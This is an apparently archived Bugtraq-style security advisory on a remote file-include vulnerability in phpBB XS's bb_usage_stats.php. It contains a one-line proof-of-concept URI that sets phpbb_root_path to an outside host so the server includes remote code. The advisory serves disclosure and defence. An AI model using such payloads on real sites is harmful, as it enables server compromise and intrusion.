PhpBB XS BB_Usage_Stats.PHP Remote File Include Vulnerability

Bugtraq ID:	20046
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Sep 15 2006 12:00AM
Updated:	Sep 25 2006 09:51PM
Credit:	NoGe is credited with the discovery of this vulnerability.
Vulnerable:	phpBBXS phpBBXS 058-006
Not Vulnerable:

PhpBB XS BB_Usage_Stats.PHP Remote File Include Vulnerability

phpBB XS is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

PhpBB XS BB_Usage_Stats.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof-of-concept URI is available:

http://www.example.com/[path]/bb_usage_stats/include/bb_usage_stats.php?phpbb_root_path=http://www.example.com

PhpBB XS BB_Usage_Stats.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

A third-party patch is available. Please see the references for more information.

PhpBB XS BB_Usage_Stats.PHP Remote File Include Vulnerability

References:

• phpBB XS Homepage (phpBB XS)
  
• SolpotCrew Advisory #10 - phpBB XS (phpbb_root_path) Remote File ([email protected])